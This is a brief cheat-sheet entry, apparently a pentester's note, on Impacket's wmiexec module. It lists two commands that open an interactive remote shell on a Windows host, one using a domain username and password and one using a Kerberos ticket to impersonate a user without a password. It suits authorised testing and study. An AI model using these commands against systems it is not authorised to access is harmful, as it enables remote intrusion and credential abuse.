Impacket-wmiexec

Use this impacket module to gain an interactive shell

1)

impacket-wmiexec.py DOMAIN/USERNAME:PASSWORD@IP_ADDRESS

2)

impacket-wmiexec DOMAIN/[e-mail] -k -no-pass (Authenticate with a kerberos ticket impersonating the user)